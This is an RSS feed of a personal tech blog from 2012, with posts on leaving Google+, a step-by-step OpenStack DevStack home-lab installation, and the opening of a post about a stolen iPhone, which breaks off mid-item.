<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2enclosuresfull.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:media="http://search.yahoo.com/mrss/" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><title>Sam Johnston</title><link>http://samj.net/</link><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/samj" /><description>Random rants about tech stuff (cloud computing, intellectual property, security, etc.)</description><language>en</language><managingEditor>noreply@blogger.com (Sam Johnston)</managingEditor><lastBuildDate>Mon, 28 May 2012 07:48:46 PDT</lastBuildDate><generator>Blogger http://www.blogger.com</generator><openSearch:totalResults xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/">142</openSearch:totalResults><openSearch:startIndex xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/">1</openSearch:startIndex><openSearch:itemsPerPage xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/">25</openSearch:itemsPerPage><feedburner:info uri="samj" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><media:copyright>Copyright 2008 Sam Johnston - All Rights Reserved</media:copyright><media:thumbnail url="http://media.samj.net/images/samj-portrait.jpg" /><media:keywords>internet,security,programming,dns,web2,0,enterprise2,0,apple,google,microsoft,linux,unix,saas,networking,free,software,opensource</media:keywords><media:category scheme="http://www.itunes.com/dtds/podcast-1.0.dtd">Technology/Gadgets</media:category><itunes:owner><itunes:email>samj@samj.net</itunes:email><itunes:name>Sam Johnston</itunes:name></itunes:owner><itunes:author>Sam Johnston</itunes:author><itunes:explicit>no</itunes:explicit><itunes:image href="http://media.samj.net/images/samj-portrait.jpg" /><itunes:keywords>internet,security,programming,dns,web2,0,enterprise2,0,apple,google,microsoft,linux,unix,saas,networking,free,software,opensource</itunes:keywords><itunes:subtitle>Random rants about stuff</itunes:subtitle><itunes:summary>Sam Johnston's random rants about Internet (Web 2.0), Security, Open Source and other stuff</itunes:summary><itunes:category text="Technology"><itunes:category text="Gadgets" /></itunes:category><creativeCommons:license>http://creativecommons.org/licenses/by-sa/3.0/</creativeCommons:license><feedburner:emailServiceId>samj</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><item><title>Leaving Google+</title><link>http://feedproxy.google.com/~r/samj/~3/dq3kkqDPI5g/leaving-google.html</link><category>google</category><author>samj@samj.net (Sam Johnston)</author><pubDate>Wed, 16 May 2012 09:20:36 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-4292982644134644408</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-WpiTClvqDcA/T7O-ANEafQI/AAAAAAAAAx4/89hRyPa0_jY/s1600/social_media_donut.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://3.bp.blogspot.com/-WpiTClvqDcA/T7O-ANEafQI/AAAAAAAAAx4/89hRyPa0_jY/s320/social_media_donut.jpg" width="320" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Ironically many Google employees have even given up on Google+&lt;br /&gt;(though plenty still post annoying "Moved to Google+" profile pics on other social networks)&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
One of those sneaky tweets that links to Google+ just tricked me into wading back into the swamp that it's become, hopefully for the last time (I say "hopefully" because in all likelihood I'll be forced back onto it at some point — it's already &lt;a href="http://googlesystem.blogspot.com/2012/01/new-google-accounts-require-gmail-and.html"&gt;apparently impossible&lt;/a&gt; to create a Google Account for any Google services without also landing yourself a Google+ profile and Gmail account and it's very likely that the constant prompting for me to "upgrade" to Google+ will be more annoying than the infamous red notification box). Here's what I saw in my stream:&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;20 x quotes/quotepics/comics&lt;/li&gt;
&lt;li&gt;8 x irrelevant news articles &amp;amp; opeds&lt;/li&gt;
&lt;li&gt;1 x PHP code snippet&lt;/li&gt;
&lt;li&gt;3 x blatant ads&lt;/li&gt;
&lt;li&gt;2 x Google+ fanboi posts (including &lt;a href="https://plus.google.com/117131320813354732027/posts/ZB8mkVedRyg"&gt;this&lt;/a&gt; little chestnut: "&lt;i&gt;Saying nobody uses Google+ is like a virgin saying sex is boring. &lt;b&gt;They've never actually tried it.&lt;/b&gt;&lt;/i&gt;" — &lt;a href="https://plus.google.com/117131320813354732027"&gt;you&lt;/a&gt; just failed at life by comparing Google+ to sex my friend).&lt;/li&gt;
&lt;li&gt;2 x random photos&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
That's pretty much 0% signal and 100% noise, and before you jump down my throat about who I'm following, it's a few hundred generally intelligent people (though I note it is convenient that the prevalent defense for Google+ being a ghost town, or worse, a cesspool, is that your experience depends not only on who you're following, but what they choose to share with you — reminds me of the kind of argument you regularly hear from religious apologists).&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Google+ Hangouts&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
My main gripe with Google+ this week though was the complete failure of Google+ Hangouts (which should arguably be an entirely separate product) for &lt;a href="http://rishidot.com/"&gt;Rishidot Research&lt;/a&gt;'s &lt;a href="http://rishidot.com/announcements/open-conversations-cloud-transparency/"&gt;Open Conversations: Cloud Transparency&lt;/a&gt;&amp;nbsp;on Monday. The irony of holding an open/transparency discussion on a close platform aside, we were plagued with technical problems from the outset. First it couldn't find my MacBook Air's camera so I had to move from my laptop to my iMac (which called for heavy furniture to be moved to get a clean background). When I joined we started immediately (albeit late, and sans 2-3 of the half dozen attendees), but it wasn't long before one of the missing attendees joined and repeatedly interrupted the first half of the meeting with audio problems. The final attendee never managed to join, though their name and a blank screen appeared each of the 5-10 times they tried. We then inexplicably lost two attendees, and by the time they managed to re-join I too got a "Network failure for media packets" error:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-EFimVmq3N1k/T7PChgs2ibI/AAAAAAAAAyE/RxynWwvZrcE/s1600/Screen+Shot+2012-05-14+at+9.46.13+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="290" src="http://3.bp.blogspot.com/-EFimVmq3N1k/T7PChgs2ibI/AAAAAAAAAyE/RxynWwvZrcE/s320/Screen+Shot+2012-05-14+at+9.46.13+PM.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
Then there was "trouble connecting with the plugin", which called for me to refresh the page and then reinstall the plugin:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-2345BcnMaNY/T7PCt7bDjaI/AAAAAAAAAyM/QqiCBKcmYvo/s1600/Screen+Shot+2012-05-14+at+9.47.03+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="209" src="http://2.bp.blogspot.com/-2345BcnMaNY/T7PCt7bDjaI/AAAAAAAAAyM/QqiCBKcmYvo/s320/Screen+Shot+2012-05-14+at+9.47.03+PM.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
Eventually I made it back in, only to discover that we had now lost the host(!?!) and before long it was down to just me and one other attendee. We struggled through the last half of the hour but it was only afterwards that we discovered we were talking to ourselves because the live YouTube stream and recording stopped when the host was kicked out. Needless to say, Google+ Hangouts are not ready for the prime time, and if you invite me to join one then don't be surprised if I refer you to this article.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Hotel California&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
To leave Google+ head over to &lt;a href="https://www.google.com/takeout"&gt;Google Takeout&lt;/a&gt; and download your Circles (I grabbed data for other services too for good measure, and exported this blog separately since my profile is now Google+ integrated). You might want to see &lt;a href="https://plus.google.com/circles/addedyou"&gt;who's following you&lt;/a&gt;, Actions-&amp;gt;Select All and dump them into a circle first, otherwise you'll probably lose that information when you close your account.&lt;br /&gt;
&lt;br /&gt;
When you go to the Google+ "&lt;a href="https://plus.google.com/downgrade/"&gt;downgrade&lt;/a&gt;" page and select "&lt;i&gt;Delete your entire Google profile&lt;/i&gt;" you'll get a sufficiently complicated warning as to scare most people back into submission, but the most concerning part for me was this &lt;a href="http://support.google.com/plus/bin/answer.py?hl=en&amp;amp;p=downgrade&amp;amp;answer=1044503"&gt;unhelpful help&lt;/a&gt; advising "&lt;i&gt;Other Google products which require a profile will be impacted&lt;/i&gt;":&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-swlvySN0FyQ/T7PSmcca_5I/AAAAAAAAAyY/AR3yJIymu0E/s1600/Screen+Shot+2012-05-16+at+6.12.20+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="480" src="http://4.bp.blogspot.com/-swlvySN0FyQ/T7PSmcca_5I/AAAAAAAAAyY/AR3yJIymu0E/s640/Screen+Shot+2012-05-16+at+6.12.20+PM.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Fortunately for YouTube and Blogger at least you can &lt;a href="https://www.youtube.com/identity_help"&gt;check&lt;/a&gt; and &lt;a href="http://www.blogger.com/revert-profile.g"&gt;revert&lt;/a&gt; your decision to use a Google+ profile respectively, but you'll immediately be told to "Connect to Google+" once you unplug:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-uI9Tl2etW60/T7PS5-xzX5I/AAAAAAAAAyg/3qvS9o2_Itg/s1600/Screen+Shot+2012-05-16+at+6.16.09+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="158" src="http://4.bp.blogspot.com/-uI9Tl2etW60/T7PS5-xzX5I/AAAAAAAAAyg/3qvS9o2_Itg/s640/Screen+Shot+2012-05-16+at+6.16.09+PM.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
After that it's just a case of checking "&lt;i&gt;I understand that deleting this service can't be undone and the data I delete can't be restored.&lt;/i&gt;" and clicking "&lt;i&gt;Remove selected services&lt;/i&gt;" (what "selected services"? I just want to be rid of Google+!). I'll let you know how that goes once my friends on Google+ have had a chance to read this.&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-4292982644134644408?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/samj?a=dq3kkqDPI5g:rcMOLBA9QCs:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=dq3kkqDPI5g:rcMOLBA9QCs:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=dq3kkqDPI5g:rcMOLBA9QCs:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=dq3kkqDPI5g:rcMOLBA9QCs:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=dq3kkqDPI5g:rcMOLBA9QCs:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=dq3kkqDPI5g:rcMOLBA9QCs:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=dq3kkqDPI5g:rcMOLBA9QCs:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=dq3kkqDPI5g:rcMOLBA9QCs:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=dq3kkqDPI5g:rcMOLBA9QCs:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/dq3kkqDPI5g" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2012-05-16T18:20:36.168+02:00</app:edited><media:thumbnail url="http://3.bp.blogspot.com/-WpiTClvqDcA/T7O-ANEafQI/AAAAAAAAAx4/89hRyPa0_jY/s72-c/social_media_donut.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">7</thr:total><feedburner:origLink>http://samj.net/2012/05/leaving-google.html</feedburner:origLink></item><item><title>Getting started with OpenStack in your lab</title><link>http://feedproxy.google.com/~r/samj/~3/yeCqPGQ9AdQ/getting-started-with-openstack-in-your.html</link><category>openstack</category><category>cloud</category><category>technical</category><category>opencloud</category><author>samj@samj.net (Sam Johnston)</author><pubDate>Sat, 05 May 2012 08:10:57 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-1459555522397030810</guid><description>&lt;p&gt;Having recently finished building my new home lab I wanted to put the second server to good use by installing OpenStack (the first is running VMware ESXi 5.0 with Windows 7, Windows 8, Windows 8 Server and Ubuntu 12.04 LTS virtual machines). I figured many of you would benefit from a detailed walkthrough so here it is (without warranty, liability, support, etc).&lt;/p&gt;
&lt;p&gt;The two black boxes on the left are HP Proliant MicroServer N36L's with modest AMD Athlon(tm) II Neo 1.3GHz dual-core processors and 8GB RAM and the one on the right is an iomega ix4-200d NAS box providing 8TB of networked storage (including over iSCSI for ESXi should I run low on direct attached storage). There's a 5 port gigabit switch stringing it all together and a 500Mbps CPL device connecting it back up the house. You should be able to set all this up inside 2 grand. Before you try to work out where I live, the safe is empty as I don't trust electronic locks.&lt;/p&gt;
&lt;p&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" title="IMG_1198.jpg" src="http://lh3.ggpht.com/-vLkcozZ7YZQ/T6VC8q0L3eI/AAAAAAAAAwc/e6JvMjblFDU/IMG_1198.jpg?imgmax=800" alt="IMG 1198" width="600" height="400" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;Download &lt;a href="http://www.ubuntu.com/download/server"&gt;Ubuntu Server&lt;/a&gt; (12.04 LTS or the latest long term support release) and write it to a USB key — if you're a Mac OS X only shop then you'll want to follow &lt;a href="http://www.ubuntu.com/download/help/create-a-usb-stick-on-mac-osx"&gt;these instructions&lt;/a&gt;. Boot your server with the USB key inserted and it should drop you straight into the installer (if not you might need to tell the BIOS to boot from USB by pressing the appropriate key, usually F2 or F10, at the appropriate time). Most of the defaults are OK but you'll probably want to select the "OpenSSH Server" option in tasksel unless you want to do everything from the console, but be sure to &lt;a href="http://thinkhole.org/wp/2006/10/30/five-steps-to-a-more-secure-ssh/"&gt;tighten up&lt;/a&gt; the default configuration if you care about security. Unless you like mundane admin tasks then you might want to enable automatic updates too. Even so let's ensure any updates since release have been applied:&lt;/p&gt;
&lt;pre&gt;sudo apt-get update&lt;/pre&gt;
&lt;pre&gt;sudo apt-get -u upgrade&lt;/pre&gt;
&lt;p&gt;Next you'll want to install &lt;a href="http://www.devstack.org/"&gt;DevStack&lt;/a&gt; ("a documented shell script to build complete OpenStack development environments from &lt;a href="http://www.rackspace.com/cloud/private_edition/"&gt;RackSpace Cloud Builders&lt;/a&gt;"), but first you'll need to get git:&lt;/p&gt;
&lt;pre&gt;sudo apt-get install git&lt;/pre&gt;
&lt;p&gt;Now grab the latest version of DevStack from &lt;a href="http://www.github.com/"&gt;GitHub&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;git clone git://github.com/openstack-dev/devstack.git&lt;/pre&gt;
&lt;p&gt;And run the script:&lt;/p&gt;
&lt;pre&gt;cd devstack/; ./stack.sh&lt;/pre&gt;
&lt;p&gt;The first thing it will do is ask you for passwords for MySQL, Rabbit, a SERVICE_TOKEN and SERVICE_PASSWORD and finally a password for Horizon &amp;amp; Keystone. I used the (excellent) &lt;a href="https://agilebits.com/onepassword"&gt;1Password&lt;/a&gt; to generate passwords like "sEdvEuHNNeA7mYJ8Cjou" (the script doesn't like special characters) and stored them in a secure note.&lt;/p&gt;
&lt;p&gt;The script will then go and download dozens of dependencies, which are conveniently packaged by &lt;a href="http://www.ubuntu.com/"&gt;Ubuntu&lt;/a&gt; and/or the upstream &lt;a href="http://www.debian.org/"&gt;Debian&lt;/a&gt; distribution, run setup.py for a few python packages, clone some repositories, etc. While you wait you may as well go &lt;a href="http://devstack.org/stack.sh.html"&gt;read the script&lt;/a&gt; to understand what's going on. At this point the script failed because /opt/stack/nova didn't exist. I filed &lt;a href="https://bugs.launchpad.net/devstack/+bug/995078"&gt;bug 995078&lt;/a&gt; but the script succeeded when I ran it for a second time — looks like it may have been a &lt;a href="https://bugs.launchpad.net/devstack/+bug/995078/comments/1"&gt;glitch with GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You should end up with something like this:&lt;/p&gt;
&lt;pre&gt;Horizon is now available at http://10.0.1.10/&lt;br /&gt;Keystone is serving at http://10.0.1.10:5000/v2.0/&lt;br /&gt;Examples on using novaclient command line is in exercise.sh&lt;br /&gt;The default users are: admin and demo&lt;br /&gt;The password: qqG6YTChVLzEHfTDzm8k&lt;br /&gt;This is your host ip: 10.0.1.10&lt;br /&gt;stack.sh completed in 431 seconds.&lt;/pre&gt;
&lt;p&gt;If you browse to that address you'll be able to log in to the console:&lt;/p&gt;
&lt;p&gt;&lt;img style="border-style: initial; border-color: initial; display: block; margin-left: auto; margin-right: auto; border-width: 0px;" title="openstack-login.png" src="http://lh4.ggpht.com/-CKTL8CPPPhM/T6VCq763xMI/AAAAAAAAAvM/q4uXmb6JCpE/openstack-login.png?imgmax=800" alt="Openstack login" width="415" height="467" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;That will drop you into the Admin section of the OpenStack Desktop (Horizon) where you can get an overview and administer instances, services, flavours, images, projects, users and quotas. You can also download OpenStack and EC2 credentials from the "Settings" pages.&lt;/p&gt;
&lt;p&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" title="openstack-console.png" src="http://lh5.ggpht.com/-WLqO2DRohGI/T6VCsK5XNdI/AAAAAAAAAvU/Srq4bVAdLIc/openstack-console.png?imgmax=800" alt="Openstack console" width="600" height="369" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;Switch over to the "Project" tab and "Create Keypair" under "Access &amp;amp; Security" (so you can access any instances you create):&lt;/p&gt;
&lt;p&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" title="openstack-keygen.png" src="http://lh4.ggpht.com/-Xnkbp8QS15o/T6VC6ChibjI/AAAAAAAAAwM/-LS6fJGgrhg/openstack-keygen.png?imgmax=800" alt="Openstack keygen" width="600" height="253" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;The key pair will be created and downloaded as a .pem file (e.g. admin.pem).&lt;/p&gt;
&lt;p&gt;Now select "Images &amp;amp; Snapshots" under "Manage Compute" you'll be able to launch the cirros-0.3.0-x86_64-uec image which is included for testing. Simply click "Launch" under "Actions":&lt;/p&gt;
&lt;p&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" title="openstack-project.png" src="http://lh6.ggpht.com/-B6xgpzhDOd4/T6VCyepXXAI/AAAAAAAAAvs/AqUTajYcNZQ/openstack-project.png?imgmax=800" alt="Openstack project" width="600" height="384" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;Give it a name like "Test", select the key pair you created above and click "Launch Instance":&lt;/p&gt;
&lt;p&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" title="openstack-launch.png" src="http://lh3.ggpht.com/-RaJy2nGn1Uw/T6VC7WBQp6I/AAAAAAAAAwU/ZlKqyORmeKw/openstack-launch.png?imgmax=800" alt="Openstack launch" width="600" height="591" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;You'll see a few tasks executed and your instance should be up and running (Status: Active) in a few seconds:&lt;/p&gt;
&lt;p&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" title="openstack-spawning.png" src="http://lh3.ggpht.com/-IeHdSDeF8IY/T6VCzroTVbI/AAAAAAAAAv0/ck9TwLiJfJg/openstack-spawning.png?imgmax=800" alt="Openstack spawning" width="600" height="332" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;Now what? First, try to ping the running instance from within the SSH session on the server (you won't be able to ping it from your workstation):&lt;/p&gt;
&lt;pre&gt;$ ping 10.0.0.2&lt;br /&gt;PING 10.0.0.2 (10.0.0.2) 56(84) bytes of data.&lt;br /&gt;64 bytes from 10.0.0.2: icmp_req=1 ttl=64 time=0.734 ms&lt;br /&gt;64 bytes from 10.0.0.2: icmp_req=2 ttl=64 time=0.585 ms&lt;br /&gt;64 bytes from 10.0.0.2: icmp_req=3 ttl=64 time=0.588 ms&lt;/pre&gt;
&lt;p&gt;Next let's copy some EC2 credentials over to our user account on the server so we can use the command line euca-* tools. Go to "Settings" in the top right and then the "EC2 Credentials" tab. Now "Download EC2 Credentials", which come in the form of a ZIP archive containing an X.509 certificate (cert.pem) and key (pk.pem) pair as well as a CA certificate (cacert.pem) and an rc script (ec2rc.sh) to set various environment variables which tell the command line tools where to find these files:&lt;/p&gt;
&lt;p&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" title="openstack-ec2.png" src="http://lh3.ggpht.com/-VErZa6fRhvw/T6VC1uMLvEI/AAAAAAAAAv8/ce4MrSru-QQ/openstack-ec2.png?imgmax=800" alt="Openstack ec2" width="600" height="240" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;While you're at it you may as well grab your OpenStack Credentials which come in the form of an rc script (openrc.sh) only. It too sets environment variables which can be seen by tools running under that shell.&lt;/p&gt;
&lt;p&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" title="openstack-rc.png" src="http://lh3.ggpht.com/-4xBaiSMmlJo/T6VC3vobffI/AAAAAAAAAwE/M7PjS01WTU8/openstack-rc.png?imgmax=800" alt="Openstack rc" width="600" height="237" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;Let's copy them (and the key pair from above) over from our workstation to the server:&lt;/p&gt;
&lt;pre&gt;scp b34166e97765499b9a75f59eaff48b98-x509.zip openrc.sh admin.pem samj@10.0.1.10:~&lt;/pre&gt;
&lt;p&gt;Stash the EC2 credentials in ~/.euca:&lt;/p&gt;
&lt;pre&gt;mkdir ~/.euca; chmod 0700 ~/.euca; cd ~/.euca&lt;/pre&gt;
&lt;pre&gt;cp ~/b34166e97765499b9a75f59eaff48b98-x509.zip ~/.euca; unzip *.zip&lt;/pre&gt;
&lt;p&gt;Finally let's source the rc scripts:&lt;/p&gt;
&lt;pre&gt;source ~/.euca/ec2rc.sh&lt;/pre&gt;
&lt;pre&gt;source ~/openrc.sh&lt;/pre&gt;
&lt;p&gt;You'll see the openrc.sh script asks you for a password. Given this is a dev/test environment and we've used a complex password, let's modify the script and hard code the password by commenting out the last 3 lines and adding a new one to export OS_PASSWORD:&lt;/p&gt;
&lt;pre&gt;# With Keystone you pass the keystone password.&lt;br /&gt;#echo "Please enter your OpenStack Password: "&lt;br /&gt;#read -s OS_PASSWORD_INPUT&lt;br /&gt;#export OS_PASSWORD=$OS_PASSWORD_INPUT&lt;br /&gt;export OS_PASSWORD=qqG6YTChVLzEHfTDzm8k&lt;/pre&gt;
&lt;p&gt;You probably don't want anyone seeing your password or key pair so let's lock down those files:&lt;/p&gt;
&lt;pre&gt;chmod 0600 ~/openrc.sh ~/admin.pem&lt;/pre&gt;
&lt;p&gt;Just make sure the environment variables are set correctly:&lt;/p&gt;
&lt;pre&gt;echo $EC2_USER_ID&lt;br /&gt;42&lt;br /&gt;echo $OS_USERNAME&lt;br /&gt;admin&lt;/pre&gt;
&lt;p&gt;Finally we should be able to use the EC2 command line tools:&lt;/p&gt;
&lt;pre&gt;euca-describe-instances &lt;br /&gt;RESERVATION r-8wvdh1c7 b34166e97765499b9a75f59eaff48b98 default&lt;br /&gt;INSTANCE i-00000001 ami-00000001 test test running None (b34166e97765499b9a75f59eaff48b98, ubuntu) 0 m1.tiny 2012-05-05T13:59:47.000Z nova aki-00000002 ari-00000003 monitoring-disabled 10.0.0.2 10.0.0.2 instance-store&lt;/pre&gt;
&lt;p&gt;As well as the openstack command:&lt;/p&gt;
&lt;pre&gt;openstack list server&lt;br /&gt;+--------------------------------------+------+--------+------------------+&lt;br /&gt;| ID | Name | Status | Networks |&lt;br /&gt;+--------------------------------------+------+--------+------------------+&lt;br /&gt;| 44a43355-7f95-4621-be61-d34fe53e50a8 | Test | ACTIVE | private=10.0.0.2 |&lt;br /&gt;+--------------------------------------+------+--------+------------------+&lt;/pre&gt;
&lt;p&gt;You should be able to ssh to the running instance using the IP address and key pair from above:&lt;/p&gt;
&lt;pre&gt;ssh -i admin.pem -l cirros 10.0.0.2&lt;br /&gt;$ uname -a&lt;br /&gt;Linux cirros 3.0.0-12-virtual #20-Ubuntu SMP Fri Oct 7 18:19:02 UTC 2011 x86_64 GNU/Linux&lt;/pre&gt;
&lt;p&gt;That's all for today — I hope you find the process as straightforward as I did and if you do follow these instructions then please leave a comment below (especially if you have any tips or solutions to problems you run into along the way).&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-1459555522397030810?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/samj?a=yeCqPGQ9AdQ:0NZBPiPogm0:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=yeCqPGQ9AdQ:0NZBPiPogm0:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=yeCqPGQ9AdQ:0NZBPiPogm0:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=yeCqPGQ9AdQ:0NZBPiPogm0:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=yeCqPGQ9AdQ:0NZBPiPogm0:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=yeCqPGQ9AdQ:0NZBPiPogm0:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=yeCqPGQ9AdQ:0NZBPiPogm0:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=yeCqPGQ9AdQ:0NZBPiPogm0:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=yeCqPGQ9AdQ:0NZBPiPogm0:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/yeCqPGQ9AdQ" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2012-05-05T17:10:57.149+02:00</app:edited><media:thumbnail url="http://lh3.ggpht.com/-vLkcozZ7YZQ/T6VC8q0L3eI/AAAAAAAAAwc/e6JvMjblFDU/s72-c/IMG_1198.jpg?imgmax=800" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">4</thr:total><feedburner:origLink>http://samj.net/2012/05/getting-started-with-openstack-in-your.html</feedburner:origLink></item><item><title>Is carrying an iPhone worth the risk?</title><link>http://feedproxy.google.com/~r/samj/~3/QnZVv5o5dI8/is-carrying-iphone-worth-risk.html</link><author>samj@samj.net (Sam Johnston)</author><pubDate>Wed, 21 Mar 2012 04:41:37 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-2924597908991399328</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;img alt="Find my iphone" border="0" height="563" src="http://lh4.ggpht.com/-x1Hk312t9go/T2ZgnPDBt4I/AAAAAAAAAjM/y42ZxszyJd8/find-my-iphone.png?imgmax=800" style="display: block; margin-left: auto; margin-right: auto;" title="find-my-iphone.png" width="445" /&gt;&lt;br /&gt;
Yesterday I was robbed of my brand new iPhone (S/N: DNPGQ4RDDTDM&amp;nbsp;IMEI: 013032008785006&amp;nbsp;) for the second time, in public, in Paris. While I'm still a little shaken, angry and disappointed, I'm glad everyone survived unscathed... this time (last time I was assaulted in the process).&lt;br /&gt;
&lt;br /&gt;
These less fortunate victims of crime &lt;strong&gt;lost their lives&lt;/strong&gt; over iPhones, in the course of a robbery, in trying to retrieve the stolen device and as an innocent bystander respectively:&lt;br /&gt;
&lt;ul&gt;
